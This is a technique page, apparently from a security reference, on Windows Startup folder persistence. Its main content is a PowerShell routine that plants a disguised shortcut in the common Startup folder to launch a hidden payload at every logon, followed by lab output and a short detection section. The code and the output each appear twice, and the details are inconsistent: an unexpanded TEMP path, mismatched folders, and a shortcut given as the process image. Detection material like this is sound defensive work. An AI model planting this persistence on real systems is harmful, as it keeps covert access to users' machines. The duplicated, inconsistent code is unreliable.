Startup Folder

Overview

The Startup folder is one of the oldest and simplest persistence mechanisms on Windows. When a user completes an interactive logon, the shell - explorer.exe - enumerates the Startup folder and launches whatever it finds there. Drop an executable, a shortcut, or a script into the right folder and it runs automatically on the next logon, with no service, no registry run key, and no scheduler entry. It is a registry run key with the registry replaced by a folder.

There are two folders that matter. The per-user Startup folder can be written by that user with no elevation, so it is the default for user-context implants. The common Startup folder applies to every user on the machine and needs administrative write, so it is the choice when the implant must run regardless of who logs in. Both are plain files on disk, which is what makes the technique trivial to deploy and trivial to spot.

The call chain

1. 1
   Pick the startup location

   Per-user APPDATA Startup (user write) or the common ProgramData Startup (admin).
   -
2. 2
   Drop the payload

   Write an .exe, .lnk or script into the folder; an .lnk can point anywhere.
   kernel32
3. 3
   Logon triggers the shell

   Explorer enumerates the folder at logon and launches each item it finds.
   -
4. 4
   Payload runs as the user

   The dropped item executes in the logged-on user's context on every logon.
   -

Reference implementation

Two locations, two privilege levels. The drop is a single file write.

The practical drop below writes a shortcut so the payload can live outside the folder entirely.

# common startup folder - runs for every user who logs on
$startup = '\\?\C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'
# payload hides outside the folder
$payload = '$env:TEMP\.u\svc.exe'

$sh = New-Object -ComObject WScript.Shell
$lnk = $sh.CreateShortcut("$startup\svc.lnk")
$lnk.TargetPath = $payload
$lnk.WorkingDirectory = $env:TEMP
$lnk.Description = ''
$lnk.Save()
# on the next logon, explorer.exe launches svc.lnk -> svc.exe

# common startup folder - runs for every user who logs on
$startup = '\\?\C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'
# payload hides outside the folder
$payload = '$env:TEMP\.u\svc.exe'

$sh = New-Object -ComObject WScript.Shell
$lnk = $sh.CreateShortcut("$startup\svc.lnk")
$lnk.TargetPath = $payload
$lnk.WorkingDirectory = $env:TEMP
$lnk.Description = ''
$lnk.Save()
# on the next logon, explorer.exe launches svc.lnk -> svc.exe

Verifying in the lab

Log out and back in. The shortcut fires from explorer.exe. The tell in the event log is a process create whose image path is the shortcut and whose parent is explorer.exe, within seconds of the logon.

> dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
svc.lnk   1,204   09/04/2026

# EID 1 at logon:
# New Process: svc.exe     Parent: explorer.exe
# Image path:  C:\ProgramData\...\Startup\svc.lnk   <-- the artifact

> dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
svc.lnk   1,204   09/04/2026

# EID 1 at logon:
# New Process: svc.exe     Parent: explorer.exe
# Image path:  C:\ProgramData\...\Startup\svc.lnk   <-- the artifact

Detection

The technique leaves two clean artifacts: the file appearing in the folder, and the process firing from it at logon.

Rank them: the EID 11 file-creation rule is the earliest and cheapest continuous control and catches most drops, including .lnk stubs. The EID 1 process-create rule confirms execution and is the better alert for triage. The EDR target-path check narrows the .lnk cases to the suspicious ones.

Variants & related